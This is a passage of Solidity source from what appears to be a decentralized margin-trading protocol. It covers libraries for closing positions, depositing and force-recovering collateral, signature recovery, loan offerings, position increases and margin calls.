require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
